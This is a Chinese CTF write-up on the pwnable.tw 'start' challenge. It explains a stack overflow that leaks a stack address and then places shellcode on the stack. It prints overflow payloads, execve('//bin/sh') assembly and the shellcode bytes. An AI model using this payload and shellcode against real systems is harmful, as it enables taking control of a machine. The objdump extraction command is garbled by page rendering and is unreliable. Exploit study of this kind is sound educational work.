pwnable.tw start 经验总结

编程入门 行业动态 更新时间:2024-10-27 15:15:40

pwnable.tw start <a href=https://www.elefans.com/category/jswz/34/1770055.html style=经验总结"/>

pwnable.tw start 经验总结

这题我忽略了一个简单但是很重要的知识点,就是改变栈指针的大小的同时会扩展/释放栈空间,导致这题折腾了太久,直到看了这篇博客,在看解题方法时有一个疑点想着想着就突然注意到了
参考的wp


在 add esp, 14h 后栈空间被释放了0x14个空间,也就是"Let’s start the CTF:"这个字符串被丢弃了
所以可以构造
payload=‘a’ * 0x14 + p32(write_addr)
stack_addr = u32(c.recv(4))
来获得栈上的地址,随后便可以向栈上植入shellcode,执行exceve系统调用

exceve(’//bin/sh’)的汇编代码如下

Section .textglobal _start
_start:xor eax,eaxpush eax    //'/0'push 0x68732f6e   // '//bin/sh'push 0x69622f2fmov ebx,esp   push eaxpush ebxmov ecx,esp    //第二个参数为指针数组,所以要先把ebx压栈,再让ecx指向espxor edx,edxmov al, 0x0bint 0x80

可以使用 一下命令来提取机器码

objdump -d ./execve-stack|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ '|tr -s ’ '|tr ‘\t’ ’ '|sed ‘s/ / / g ′ ∣ s e d ′ s / / x / g ′ ∣ p a s t e − d ′ ′ − s ∣ s e d ′ s / / &quot; / ′ ∣ s e d ′ s / //g&#x27;|sed &#x27;s/ /\\x/g&#x27;|paste -d &#x27;&#x27; -s |sed &#x27;s/^/&quot;/&#x27;|sed &#x27;s/ //g′∣sed′s//x/g′∣paste−d′′−s∣sed′s//"/′∣sed′s//"/g’

来源

提取的机器码如下:

“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”

还有没及时反应过来的点是:
payload2 = ‘a’*0x14 + p32(stack_addr+0x14) + shellcode

当时不明白为什么不是stack_addr + 0x18 ,stack_addr不是栈顶吗?20个 ‘a’ + 4字节的返回地址 + shellcode ,那从栈顶到shellcode 的偏移量不就是0x18了吗?,看其他的wp,把泄露stack_addr的这个地址写作esp让我想错了,重新用gdb调试明白了

’a’ 是从0xffffd18c开始覆盖的, 而stack_addr 是0xffffd190, 所以偏移量是0x14

更多推荐

pwnable.tw start 经验总结

本文发布于:2023-07-28 17:50:58,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1267569.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:经验   pwnable   tw   start

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!